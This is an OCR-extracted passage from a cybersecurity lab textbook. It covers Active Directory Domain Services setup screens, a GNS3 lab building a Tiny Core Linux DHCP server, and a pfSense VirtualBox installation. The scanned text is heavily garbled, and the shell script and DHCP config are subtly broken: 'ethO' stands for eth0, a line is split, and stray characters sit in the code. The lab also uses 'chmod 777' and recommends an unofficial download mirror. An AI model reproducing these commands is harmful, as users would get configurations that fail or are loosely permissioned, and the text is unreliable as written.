* Active Directory Domain Services requires a DNS server to be installed on the network. If you are
installing a domain controller, you can also install the DM5 Server role using Active Directory Domain
Services Installation Wizard by selecting the Active Directory Domain Services role,

< Previous | ‘ Mext » Install Cancel

Figure 28 - Confirm DNS
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[ Add Roles and Features Wizard — Od >
. . . . DESTIMNATIOM SERVER
Confirm installation selections WiN-2220001161
Before You Begin To install the following roles, role services, or features on selected server, click Install.
Installation Type [[] Restart the destination server automatically if required
Server Selection Optional features (such as administration tools) might be displayed on this page because they have

been selected automatically. If you do not want to install these optional features, click Previous to clear

server foles their check boxes.,

Featurss

AD DS Active Directory Domain Services -

DMS Server DNS Server
Group Paolicy Management
Remote Server Administration Tools
Role Administration Tools
AD DS and AD LDS Tools
Active Directory module for Windows PowerShell
AD DS Toals
Active Directory Administrative Center

AD DS Snap-Ins and Command-Line Tecls

Export configuration settings
Specify an alternate source path

< Previous Mext = Install ‘ | Cancel

Figure 29 - Confirm settings
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F'ﬁ Add Roles and Features Wizard — Od

|ﬂ5ta||ati{jﬂ pr[}g ress DESTINATION SERVER

WIN-2220DD116]

View installation progress

o Starting installation

Active Directory Domain Services
DMNS Server
Group Policy Management
Remote Server Administration Tools
Role Administration Tools
AD DS and AD LDS Tools

Active Directory module for Windows PowerShell
AD DS Tools

Active Directory Administrative Center

AD D5 Snap-Ins and Command-Line Tools
DMS Server Tonls

You can close this wizard without interrupting running tasks. View task progress or open this
page again by clicking Metifications in the command bar, and then Task Details.

Export configuration settings

< Previous Mext > Install Cancel

Figure 30 - Wait for installation
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| Fﬁ Add Roles and Features Wizard

DESTINATION SERVER
WIN-22280DD116]

Installation progress

View installation progress

o Feature installation

Configuration required. Installation succeeded on WIN-2280DD1J161.

(4]

, Directory Domain Services
Additional steps are required to make this machine a domain cofitg

Promote thizs server to a domain controller

DNS Server
Group Policy Management
Remote Server Administration Tools

a fi

AD DS and AD LDS Tools
Active Directory module for Windows PowerShell

AD DS Tools
Active Directory Administrative Center W

You can close this wizard without interrupting running tasks, View task progress or open this
page again by clicking Meotifications in the command bar, and then Task Details.

Export configuration settings

< Previous Mext > Close Cancel

Figure 31 - Promote the server
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= Active Directory Demain Services Configuration Wizard

Deployment Configuration

Deployment Configuration

Select the deployment operation
Domain Controller Cptions

() Add a domain controller to an existing domain
Additional Options

) Add a new domain to an existing forest

Paths ® Add a new forest

Review Options ) o i i i
Specify the domain information for this operation

Fraraguisites Chack

Root domain name: | mycyber.local

Maore about deployment configurations

< Previous Mext »

Figure 32 - Active Directory Domain Services Wizard

Install

— O >

TARGET SERVER
WIN-2280DD1)16l

Cancel



152 MATHEW J. HEATH VAN HORN, PHD

= Active Directory Domain Services Configuration Wizard — O >

TARGET SERVER

Domain Controller Options WIN-2280DDU16I

Deployment Configuration ) )
Select functional level of the new forest and root domain

Domain Controller Options

Forest functional level: | Windows Server 2016 e |

Domain functional level: | Windows Server 2016 e |

Specify domain controller capabilities

+| Domain Name System (DMNS) server
+f| Global Catalog (GC)
Read only domain controller (RODC)

Type the Directory Services Restore Mode (DSRM) password

*
Password:

*

Confirm password:

More about domain controller options

< Previous | | Mext = | | Install | | Cancel

Figure 33 - Set password for DC
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| DNS Options

= Active Directory Domain Services Configuration Wizard

— O X

TARGET SERVER
WIN-2280DD1)16l

| A A delegation for this DMNS server cannot be created because the authoritative parent zone cannot be found... Show more u

Deployment Configuration

h Domain Controller Opticns

DNS Options
Additicnal Cptions
Paths

Review Options

Frereguisites Chack

Specify DNS delegation options

Create DMS delegation

Mare about DNS delegation

Figure 34 - DNS Options
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—
[z Active Directory Domain Services Configuration Wizard - O x

e . TARGET SERVER
Additional Options WIN-2280DD116l

Deployment Configuration ] i i .
Verify the NetBIOS name assigned to the domain and change it if necessary
Domain Centroller Cptions

DNS Options The NetBIOS domain name: MYCYBER

Additional Options

Faths
Review Cpflions

Frereguisites Chack

More about additional options

< Previous | | Mext = Install

Figure 35 - MyCYBER
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Paths

Deployment Configuration

Domain Controller Cptions
D5 Options

Additional Options

Review Options

Freraguisitas Chack

Figure 36 - Confirm paths

= Active Directory Demain Services Configuration Wizard

Specify the location of the AD DS database, log files, and SYSVOL

— O >

TARGET SERVER
WIN-2280DD1)16l

-]

-]

Database folder: |C:\Windows‘xNTDS
Log files folder: |C:\Windnws‘;NTDS
SYSVOL folder: |C:\Window5\5‘r‘SVOL

L]

Maore about Active Directory paths

{PrevinusH Mext » |

Install

| | Cancel
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= Active Directory Domain Services Configuration Wizard — O >

. . TARGET SERVER
Review Options WIN-2280DD 16l

Deployment Configuration Review your selections:

Domain Contraller Options Configure this server as the first Active Directory doemain controller in a new forest. ~

DNS Options The new domain name is "mycyberlocal”. This is also the name of the new forest.
Additional Options
Paths

Review Options Forest Functional Level: Windows Server 2016

The MetEIOS name of the domain: MYCYEBER

Prereguisites Check Domain Functional Level: Windows Server 2016
Additional Options:
Global catalog: Yes

DME Server: Yes

Create DNS Delegation: Mo

These settings can be exported to a Windows PowerShell script to automate
additional installations

More about installation options

< Previous ‘ ‘ Mext = | | Install | | Cancel

Figure 37 - Review and confirm
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[z Active Directory Domain Services Configuration Wizard — O x
P - - C h |'< TARGET SERVER
rerequisites €C WIN-2280DD116I

| & All prerequisite checks passed successfully. Click Install’ to begin installation. Show more b

Deployment Configuration

Domain Centroller Options
DNS Options

Additional Options

Paths

Review Cplicns

Prerequisites Check

Prerequisites need to be validated before Active Directory Domain Services is installed on this
computer

Rerun prerequisites check

@ View results
1

Windows Server 2022 domain controllers have a default for the security setting named &
"Allow cryptography algorithms compatible with Windows NT 4.0* that prevents weaker
cryptography algorithms when establishing security channel sessions.

For maore information about this setting, see Knowledge Base article 942564 (hitp://
go.microsoft.com/fwlink/?Linkld=104751),

I This computer has at least one physical network adapter that does not have static IP
address(es) assigned to its IP Properties, If both IPv4 and IPvE are enabled for a network
adapter, both IPv4 and |PvE static P addresses should be assigned to both |Pvd and
IPvE Properties of the physical network adapter. Such static IP address{es) assignment
should be done to all the physical network adapters for reliable Domain Mame System

L If you click Install, the server automatically reboots at the end of the promotion cperation.

Maore about prerequisites

< Previous Mext > Install | | Cancel

Figure 38 - Wait for green checkmark
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You're about to be signed out

use Active Direct: ail s was installed or

Close

Figure 39 - It will restart automatically
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CHAPTER 9

Build a Simple Local Area Network with DHCP

MATHEW J. HEATH VAN HORN, PHD

A Local Area Network (LAN) has many definitions depending on who you speak to. They can be defined by
geography, function, or electrical connections. In this book, we typically use the term “LAN" to specify a few end
devices connected to the same switch. This is a gross oversimplification of LANs, but simplification is helpful when
exploring larger concepts. Consider how we use logs to represent exponential equations or ask veterans in the
audience to stand for recognition. Both actions are simplifications of greater meaning.

In this lab, we show you how to make a fundamental LAN with DHCP that won't stress your host machine’s
resources.

LEARNING CONCEPTS

+ Create a functional LAN with:
o 1 switch
o 2PCs
o 1 DHCP server

PREREQUISITES

+ Chapter 2 - Setup a GNS3 environment

+ Chapter 5 - Install Tiny Core Linux
+ Chapter 6 - Adding a VM to GNS3

DELIVERABLES

* None - this is a preparatory lab for other labs

RESOURCES

* GNS3 Documentation - https://docs.gns3.com/

159
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CONTRIBUTORS AND TESTERS

* Jacob M. Christensen, C.I.S. Student, ERAU-Prescott

+ Julian Romano, C.1.S. Student, ERAU-Prescott

+ Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni
+ Evan Paddock, Cybersecurity Student, ERAU-Prescott

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

« Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

Phase | - Inital Setup

Initial setup involves creating a workspace, segmenting that workspace, and then labeling the components.
By the end of the this chapter, your network should look like the following:

Switchl

Red Network
192.168.1.0/24

Figure 1 - Final GNS3 network

1. Ensure you have completed the prerequisites before starting the lab

2. Open Oracle VirtualBox Manager
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3. Make a full clone of the TinyCoreLinux VM
3.1. Right-click on the machine and select Clone (Figure 2)

3.2. Rename it to “TC-red” and select the option to generate new MAC addresses (Figure 3),
then click Next

3.3. Select Full Clone, then click Finish
4. Right-click on the TC-red VM and click on settings (Figure 4)

5. Navigate to “Network” and change the network adapter 1 settings to Generic Driver andUDPTunnel,
then click OK (Figure 5)

6. Start GNS3 and start a new blank project. Name it anything you like, but for this example, we are
calling it Simple LAN

7. Add the TC-red VM to the GNS3 appliances - Change its symbol to a Red Server

8. In the GNS3 toolbar ribbon, click on the Draw a Rectangle tool and click the workspace to place a
rectangle (Figure 6)

9. You can use the mouse to resize the rectangle at any time
10. Change the properties of the rectangle by right-clicking on the edge and selecting Style (Figure 7)
10.1. Some people use a fill color and some don't (Figure 8)
10.2. Change the border color to a primary color (we are using red)
10.3. Change the Border width to6 px
10.4. Click apply, then click ok
11. GNS3 uses layers for its graphics. Generally, the shapes are at a higher layer than the connectors.
This means that anything you put into the box risks not being seen. So you can change the box’s layer
now or at any time by right-clicking on the shape and selecting Lower one layer (Figure 9)
12. Place the following inside the red rectangle
12.1. Ethernet Switch

12.2. Two (2) VPCS

12.3. TC-red VM


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure1.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure2.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure3.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure4.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure5.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure6.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure7.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_SimpleLAN_Figure8.jpg
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13. Connect the devices to the switch
14. Use the note tool - next to the shape tool - to add a new note of “Red Network 192.168.1.0/24"
15. Use the note tool to add a new note of “.250" next to the TC-Red VM (Figure 10)

16. Start all devices

Phase Il - Configure DHCP on TC-red VM

Tiny Core Linux comes with a DHCP service. However, we will have to type quite a bit to make it work. When
you are finished with this lab, you may want to use these instructions to create a default TC-DHCP VM that you
can clone whenever you need a lightweight DHCP server.

NOTE: Most errors encountered by testers were due to typos. Be careful and everything should work fine.

1. Navigate to the TC-Red VM and open a terminal (Figure 11)

2. Configure the ethernet interface with a static IP address

2.1. Open a new configuration file by typing

o vi /opt/ethO.sh

2.2. You will see a lot of tildes (~) which means a blank document

2.3. Pressi to activate insert, and type the following in the file (Figure 12)

# fast storage device may need a delay on boot for the settings to take
# adjust the following sleep statement if needed
sleep .2

#kill the dhcp client for ethO
sleep 1
if [ -f /var/run/udhcpc.ethO.pid ]; then rm /var/run/udhcpc.eth0.pid;
sleep 0.1
fi

#configure the interface ethO
ifconfig eth0 192.168.1.250 netmask 255.255.255.0 broadcast 192.168.1.255

up
#start the DHCP server process once the interface is ready with the IP
EYele!
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sleep .1

sudo udhcpd /etc/udhcpd.conf &

2.4. Press esc to exit the edit mode

2.5. Press the full colon : followed by wg (this means write out - old school save file - and quit)

/e

2.6. Now type in the command line

> sudo chmod 777 /opt/eth0.sh

2.7. Followed by

> sudo /opt/eth0.sh

2.8. You can check if interface eth0 is configured (Figure 13) by typing

ifconfig

3. Create a DHCP configuration file

3.1. Type

sudo vi /etc/udhcpd.conf

3.2. In this new file, press i to insert and type the following

start 192.168.1.100
end 192.168.1.200
interface ethO
option subnet 255.255.255.0
option router 192.168.1.250

option lease 43200
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option dns 192.168.1.250

option domain local
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NOTE: These settings mean the following

Statement Setting Meaning

This is the first possible IP address that can be given out to end devices asking
Start 192.168.1.100 aor 210 [ e RS

This is the last possible IP address that can be given out to end devices asking
Stop 192.168.1.200 o £ [ el s
interface eth0 This is the network interface that will be looking for DHCP requests

option subnet

255.255.255.0

The IPv4 subnet mask used for this network (192.168.1.0)

option router

192.168.1.250

This is the IP address of the gateway router to leave the local LAN

option lease

43200

The amount of seconds between lease refresh - this is 12 hours

option dns

192.168.1.250

DNS should use this gateway router

option domain

local

DNS requests will resolve locally first before using the gateway

3.3. When finished typing, (Figure 14) press escape followed by

3.4. Then start the DHCP Daemon by typing

sudo udhcpd /etc/udhcpd.conf

3.5. Verify if the DHCP process is running by typing the following

sudo netstat -anp

3.6. You should see a listening line like this: udp 0 0 0.0.0.0:67 0.0.0.0:* 1413/udhcpd

(Figure 15)

4. Remember, Tiny Core Linux has limited persistence, so we have to add our DHCP configuration file

to the list

4.1. Gain change permissions to the bootlocal file by typing
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sudo chown root:staff /opt/bootlocal.sh

sudo chmod 775 /opt/bootlocal.sh

4.2. Now add the persistence by typing the following

sudo echo ‘etc/udhcpd.conf’ >> /opt/.filetool.lst
sudo echo ‘opt/ethO.sh’ >> /opt/.filetool.lst
sudo echo ‘opt/ethO.sh &’ >> /opt/bootlocal.sh
filetool.sh -b

4.3. You should get a confirmation like in (Figure 16)

4.4. Now reboot TC-red to verify the settings were retained by typing the following at the
command line

4.4.1. Static IP is configured (Figure 13)

4.4.2. DHCP server is running (Eigure 15)

sudo netstat -anp

Phase Il - Verify hosts are getting IP addresses

We can never be certain that our VPCS are getting IP addresses until we try it.

1. Navigate to the GNS3 workspace

2. Right-click on a VPCS console and type

3. You should get a response of an IP address between 192.168.1.100 - 192.168.1.200 (Figure 17)

4. Note the IP address and use the GNS3 note tool to add the IP address to the Workspace (Figure 18)
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NOTE: Most errors encountered by testers were due to typos. Be careful and everything should work fine.

Final Note - you can change the DHCP configuration any time by modifying IP addresses. For instance if our network was

20.20.0.0/16 and we knew our gateway router was 20.20.20.254, we would change are settings to the following:
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End of Lab
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I N Clone Virtual Machine ? X

New machine name and path

Please choose a name and optionally a folder for the new virtual machine. The new
machine will be a clone of the machine TinyCoreLinux.

Mame: TC-Red &

Path: ~  C:\Users\mheat\VirtualBox VMs e

MAC Address Policy: Generate new MAC addresses for all network adapters -~

Additional Options: [ | Keep Disk Names
[ ] Keep Hardware UUIDs

Expert Mode Back Mext Cancel

Figure 3 - Renaming and resetting MACs
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| &) TC-Red - Settings
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Figure 5 - Adjust NIC to generic
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Attached to: | Generic Driver

Mame: UDPTunnel

Adapter 4

[» Advanced

OK

Cancel

Help

171




172 MATHEW J. HEATH VAN HORN, PHD

€ SimpleLAN - GNS3
Eile Edit View Control Node Annctate Tools Help
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Figure 6 - Drawing a rectangle
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€ simpleLAN - GNS3
File Edit View Control Node Annotate Tools Help

5!5@ > TTHC PRIl QAQAME

Duplicate

=3 Raise one layer

E—" Lower one layer

a Lock item

@ Delete

NAetO[INh

Figure 7 - Changing rectangle style

e Style editor ? X

Style settings
Fill color: [ |
Border width: IE- px -
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Rotation: IEF' :

[ 0K | [ Cancel | [ Apply |

Figure 8 - Changing rectangle color
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Figure 9 - Send rectangle back a layer
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Switchl

Red Network
192.168.1.0/24

Figure 10 - Add a note
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L’] TC-Red [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

L@ i@ ®rgh o

Figure 11 - Open a terminal
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fast storage devices may need a delay on boot for the settings to take
ad.j u,_;t the following sleep statement if needed

aleep e

for etho

c.ethO,.pid 1: then rm svar/runs/udhcpc.eth0,.pids:

# configure the interface ethO
ifconfig eth0 192,168.1.250 netmask 255,255,255.0 broadcast 192,.168.1.255 up

 #start the DHCP serwver process once the interface is ready with the IP add

sleep .1

sudo udhcpd Aetc/udhcpd.conf &

foptsethO,.sh 1716 BZ

Figure 12 - Create a settings file for the NIC

- tclBbox:
ethi

j tclFboxt

3

%

ifconfig

Link encap:Ethernet HWaddr 08:00:27:BE:B7:2C

inet addr:192.168.1.250 jcast:192.1668.1.255

UP BROADCAST RUMNIMG MULTICAST HMTUz1S500 HPfrlc*l

R¥ packets:0 errors:0 dropped:O Duerrunb+ﬁ frame:0

TH packet=:96 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueueslen:lO00

RX bytes:0 (0.0 B) TX bytes:32832 (32.0 KiB)

Link encap:Local Loopback

inet addr:127.0,.0.1 MHMask:255.0.0.0

UP LOOPBACK RUMNING HMTU:B5536 Metric:l

R¥ packets:d4 errors:0 dropped:0 overruns:i0 frame:O
T packets:d4d errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:l000

R¥ bytes:200 (200,.0 B) TX bytes:200 (200.0 B)

Figure 13 - Verify the NIC configurations are correct




MATHEW J. HEATH VAN HORN, PHD

start 192.165.1.100

‘end 192,.168.1 .200
interface ethi

loption subnet 255, 255 255.0
option router 192.168.1.250
option lease 43200

option dns 192,168.1.250
option domain locall

S

Eatd
[at]
(g
L

setc/udhcpd,.conf [Modified] 88 100%

Figure 14 - Configure DHCP
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t Proto Recv-0 Send-0 Local RAddress Foreign Address PIDAProgram name
netstat: Jproc/netstcpB: Mo such file or directory
idp Q 0 0,0,0,0:67 0,0,0, 0% 1413/ udhcpd
netstat: Jproc/net/udpB: No such file or directory
t netstat: Aprocsnet/rawb: No such file or directory
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L STREAM CONMECTED 2820 1192/fFlum_topside
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STREAM CONMNECTED 2869 1190/ Hwvesa BAtmps K11 —unix KO
STREAM CONMECTED 2868 1215-/wbar
STREAM LISTEMING 2813 1190/ Kvesa stmps LK1l -unixs KO
DGRAM CONMECTED 154 133/ udevd
STREAM CONMECTED 2821 1190/ ¥vesa BAtmps K1l -unix X0
DGRAM CONMECTED 153 133/udevd
SEOQPACKET LISTENING 149 133/udewd /runsudev/control
STREAM LISTENING 2812 1190/ Kvesa BAtmps K11 —unix /X0
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Figure 15 - Perform a netstat check
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E TC-Red [Running] - Oracle VM VirtualBox

ill"ﬂl'l’tﬂ
t tcBBbox:™% filetool.sh -b
: SmntSsdal ftee//mygdata,. tgz

tC IE t":l e e 'I'

Figure 16 - Add persistance
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Figure 17 - Ensure devices are getting DHCP
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Figure 18 - Add a note to the workspace
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CHAPTER 10

Create a pfSense Firewall VM

MATHEW J. HEATH VAN HORN, PHD

The software product pfSense is a popular open-source firewall used by small and mid-sized companies. The
software can run on hardware or a virtual machine. It is based on Unix FreeBSD which differs from Linux. This
lab leads the learner to create a pfSense VM in VirtualBox.

LEARNING OBJECTIVES

+ Successfully download, install, and run pfSense in VirtualBox

PREREQUISITES

» Virtualbox Installed

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

+ Download pfSense

+ Kingatua, Amos, “How to install pfSense Firewall on Ubuntu and CentOS?”, https://geekflare.com/
pfsense-installation-guide/

CONTRIBUTORS AND TESTERS

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
+ Julian H. Romano, Cybersecurity Student, ERAU-Prescott

+ Evan Paddock, Cybersecurity Student, ERAU-Prescott

« Dante Rocca, Cybersecurity Student, ERAU-Prescott
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Phase | - Download pfSense

pfSense is an operating system (OS), like Windows, Linux, or MacOS.

1. Download the installer for pfSense Community Edition

NOTE: At the time this was written, Netgate made a surprising update that requires users to register
for a new account and give up personal information just to download the Community Edition image of
pfSense. For many, this compromise of privacy for the sake of corporate data harvesting is not worth
this extra road block for learning. Therefore, we will provide two different methods for downloading
pfSense.

1.1. The “Official” Method: https://www.pfsense.org/download/

NOTE: It is strongly advised to avoid using to real personally identifiable information (PIl)
for online accounts you'll only use once. Companies get hacked all the time; the last thing
you want is your name, physical address, and phone number leaked just because you wanted
to mess around with firewalls! However, you are not restricted from using temporary emails,
temporary phone numbers or false addresses when needed.

1.2. The “Unofficial” Method (Recommended): https://www.pfsense.app/download/

1.2.1. Select the following options from the associated drop-down menus (Figure 1)

NOTE: This example uses CE version 2.7.2.

1.2.1.1. Architecture;: AMD64 (64-bit)
1.2.1.2. Installer: DVD Image (ISO) Installer

1.2.2. Click Download

NOTE: At this point, a file named pfSense-CE-x.x.x-RELEASE-amd64.iso.gz should
be downloaded by your browser. The .gz file extension stands for GNU Zip, which is
an application commonly used for file compression.

2. Navigate to the folder where you downloaded the ISO and decompress (unzip) it

2.1. If you're on Windows, use 7zip


https://www.pfsense.org/download/
https://temp-mail.org/
https://quackr.io/
https://www.pfsense.app/download/
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/create-pfsense-virtualbox-download-image.png

184 MATHEW J. HEATH VAN HORN, PHD

2.2. Ifyou're on Linux, use GNU unzip

$ gunzip ~/Downloads/file-name.gz

3. You should now see a file name pfSense-CE-x.x.x-RELEASE-amd64.iso in your Downloads directory

Phase Il - Create a pfSense VM

Creating a pfSense VM is a pretty standard exercise.

1. Start the Oracle VM VirtualBox Manager application

NOTE: This example uses VirtualBox GUI Version 6.1.X in the following steps. While your version
may vary in organization and layout, the fundamental process should remain the same.

Oracle VM VirtualBox Manager

Machine Help

Discard
P < =
=
]
(Cn
=

Figure 2 - VirtualBox Manager

2. Atthe top of the dashboard, select New
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Figure 3 - Create a new VM

3. A new sub-menu called Create Virtual Machine should appear (Figure 4)

3.1. Fill'in the following information:

Custom name of the Virtual Machine. Can
be anything, but should probably be

Name pfSense-Firewall somewhat descriptive to differentiate from
other VMs.
) The directory in which to store all files
Machine Folder <Leave as default path> related to VM creation.
Type BSD Selects the generic operating system of the

VM such as Windows, Linux, or Mac OS.

Specifies the specific sub-category of the
Version FreeBSD (64-bit) selected OS and whether it will use a 32bit
or 64bit processor.

1024 MB (1 GB) Determines how much RAM to allocate to

Memory size the VM.

Determines whether or not to allocate
Hard disk Create a virtual hard disk now physical storage to act as a hard disk or to
use an existing virtual hard disk file.

3.2. Select Create
4. A new sub-menu called Create Virtual Hard Disk should appear (Figure 5)

4.1. Fill in the following information:

The directory in which to save the virtual
File location <Leave as default path> hard disk. This will often be the same
directory as the Machine Folder path.

Determines the size of the virtual hard
File size 8GB disk. The minimum requirements for
pfSense is 8 GB.

Selects the type of virtual hard disk to

Hard disk file type VDI (VirtualBox Disk Image) Ccreate
Selects whether to allocate physical hard
disk space as needed (dynamically), or all
Storage on physical hard disk Dynamically allocated at once (fixed). Choosing fixed will may

result in slightly better performance at the
cost of a higher storage footprint that will
potentially go unused.

4.2. Select Create


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/create-pfsense-virtualbox-create-a-virtual-machine.png
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5. This will create a new virtual machine in your VM list

Oracle VM VirtualBox Manager

Machine Help

i & @ 2 .

Discard
Ma - ; |
L]
& [ = @
pfSense-Firewall

=

(Cn

=

Figure 6 - pfSense created in VM list

Phase Il - Configure VM settings for the pfSense Server

Depending on your existing VirtualBox configuration, some configurations may already be applied.

1. Select (highlight) the pfSense-Firewall VM and then click Settings

Figure 7 - Modify VM settings

2. A new sub-menu called pfSense-Firewall - Settings should appear
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pfsense-Firewall-VM - Settings

Basic Agdvanced Description Disk Encryption

Mame: pfSense-Firewall-VM
Type: BSD
Audio
Version: FreeBSD (64-bit)
Met
Serial Ports

Usg

Shared Folders

E User Interface

Figure 8 - Settings menu

3. Modify the System settings to make booting off the virtual hard disk highest priority (Figure 9)
3.1. On the left-side menu, select System

3.2. Under Boot Order, highlight Hard Disk and click on the UP arrow until it's at the top of the
list

@ Hard Disk
H Floppy +|

o Optical

|:|'_-:| Metwork

Figure 10 - Boot order menu

4. Modify the Storage settings to add the pfSense ISO installer (Figure 11)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/create-pfsense-virtualbox-system-settings-window.png
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4.1. On the left-side menu, select Storage

4.2. Under Storage Devices, select Controller: IDE

4.2.1. Select the small icon labeled Add optical drive

4.3. A new sub-menu called pfSense-Firewall - Optical Disk Selector should appear (Figure
12)

4.3.1. Select Add Disk Image

Figure 13 - Add new installation image

4.3.2. Navigate to the location where you unzipped the pfSense ISO installer and
clickOpen

4.3.3. Ensure that the .iso file is highlighted and click Choose (Figure 14)

4.4. You should now see the pfSense installer in the list of Storage Devices
Storage Devices

& Controller: IDE

B prsense-Firewall-VM.vdi
'ﬂ' pfSense-CE-2.7.2-RELEASE-amdé...
© Empty

Figure 15 - Storage device list
5. Modify the Network settings to give the VM internet connectivity (Figure 16)
5.1. On the left-side menu, select Network
5.2. Click the Adapter 1tab
5.3. Ensure that Enable Network Adapter is selected

5.4. Attached to: NAT

6. Click on OK to save the new configuration settings


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/create-pfsense-virtualbox-optical-disk-selector.png
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Phase IV - Installing the pfSense VM to the Virtual Hard Disk

Launch the pfSense VM like any other virtual machine.

1. Start the pfSense-Firewall virtual machine

o @

Figure 17 - Start the virtual machine

Discard

2. Select the DVD Image files to begin the installation sequence then press Start

Select start-up disk

Figure 18 - Choose boot medium

3. Follow the installation guide to install pfSense to the VDI

NOTE: Place your mouse inside the VM andleft-click to make the VM active. To navigate out of the VM,
press the Right-Ctrl key on the keyboard.

3.1. Press Enter to accept the Copyright and distribution notice (Figure 19)
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3.2. Use the arrow keys to highlight Install and then tab to select OK and press Enter (Figure 20)

3.3. Use the arrow keys to highlight Auto (ZFS) and then tab to select OK and press Enter (Figure
21)

3.4. Use the arrow keys to highlight >>> Install and then tab to select Select and press Enter
(Figure 22)

3.5. Use the arrow keys to highlight stripe and then tab to select OK and press Enter (Figure 23)

3.6. Use the spacebar to select ada0 and then tab to select OK and press Enter (Figure 24)

NOTE: You'll know it's selected when you see an asterisk (*) next to the disk name.

3.7. Use the tab key to select YES to overwrite all data and press Enter (Figure 25)

4. When installation is finished, use the tab key to select Reboot and press Enter

pfsense-Firewall [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
pfSense Installer

{Complete |
Installation of pfSense complete!
Hould you like to reboot into the
installed system now?

[Reboot ] [“hell 1

& W E T E @ B Right ctrl

Figure 26 - Reboot after installation


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer2.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer3.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer3.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer4.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer5.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer6.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer7.png

CREATE PFSENSE VM 191

5. Wait a minute for the machine to reboot

Figure Zzzzzz

6. Once the machine has booted from disk, you will be prompted for some post-installation
configuration settings

NOTE: You may have to press Enter for the menu to appear.

IT the names of the interfaces are not known. auto-detection can
he used instead. To use auto-detection, please disconnect all
interfaces before pressing 'a’' to begin the process.

nter the MAH interface name or 'a’' for auto-detection

Figure 27 - Interface configuration settings

6.1. When prompted for the WAN interface name type em0 (Figure 28)
6.2. When prompted for the LAN interface name, type nothing (press Enter) (Figure 29)
6.3. Typey when asked to proceed (Figure 30)

7. You should now see the main menu for pfSense!


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer9.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer10.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-installer11-1.png
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pfSense-Firewall [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
rimming the zpool... cannot trim: no devices in pool support trim operations

Starting CRON... done.
pfSense 2.7.2-RELEASE amd64 28231286-2818
Bootup complete

reeB5D/and64 (pfSense.home.arpa) (ttyvd)

irtualBox Virtual Machine - Hetgate Dewvice ID: 8dcZ63d5f3edaZdcZbib
#% Helcome to pfSense 2.7.2-RELEASE (amd64) on pfSense ===

HAN C(wan) -> emH -» v4/DHCP4: 18.8.2.15/24

B) Logout (S55H only) 9) pfTop

1) Assign Interfaces 18) Filter Logs

2) 5et interface(s) IP address 11) Restart webConfigurator

3) Reset webConfigurator password 12) PHP shell + pfSense tools

4) Reset to factory defaults 13) Update from console

5) Reboot system 14) Enable Secure Shell (sshd)
6) Halt system 15) Restore recent configuration
7) Ping host 16) Restart PHP-FPH

) Shell

nter an option: [

BOkDSNEL T, € B8 Right ctrl

Figure 31 - pfSense console menu

8. Now pfSense is installed, we can remove the DVD installer image from the VM's virtual disk drive
8.1. Type 6 and press Enter in the pfSense console menu to gracefully shutdown the device
8.2. Type y and press Enter to proceed
8.3. Navigate back to the VirtualBox dashboard
8.4. Highlight the VM, click Settings, then Storage

8.5. Under Storage Devices, select the ISO file (Figure 32)

8.6. Near the bottom of the window, click Remove selected storage attachment

NOTE: Sometimes two copies of the ISO file appear. Remove them both.

8.7. Click OK to save your settings


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/create-pfsense-virtualbox-remove-iso.png
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9. Your pfSense firewall VM is now successfully built if it boots again to the main console menu!

End of Lab

List of Figures for Print Copy

Select Image To Download

Version: 2.7.2

Architecture: |:AMDE-4 (64-bit) v| £

Installer: | DVD Image (ISO) Installer v |

Supported by

T netgate

SHA256 Checksums for compressed (.gz) files

Figure 1 - Download pfSense installer
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Create Virtual Machine

Name and operating system

Name: pfSense-Firewall-vM|

Machine Folder: [ /home/jacob/VirtualBo
Type: BSD

FreeBSD (64-bit)

Memory size

4 MB

Hard disk
Do not add a virtual hard disk
Create a virtual hard disk now

Use an existing virtual hard disk File

Guided Mode

Figure 4 - Create a new virtual machine

MATHEW J. HEATH

VAN HORN, PHD

102: MB

Cancel
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Create Virtual Hard Disk

File location

J/home/fjacob/VirtualBox ViMs/pfSense-Firewall-VM/pfSense-Firewall-VM.vdi

File size

800 GB

4.00 MB 2.00 TB

Hard disk File kype Storage on physical hard disk
VDI (VirtualBox Disk Image) Dynamically allocated
VHD (Virtual Hard Disk) Fixed size
VMDK (Virtual Machine Disk)
HDD (Parallels Hard Disk)
QCOW (QEMU C -Write)

QED (QEMU enhanced disk)

Guided Mode

Figure 5 - Create a new virtual hard disk
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pfSense-Firewall-VM - Settings

System
: Motherboard Pro r Acceleration

Display _ ’
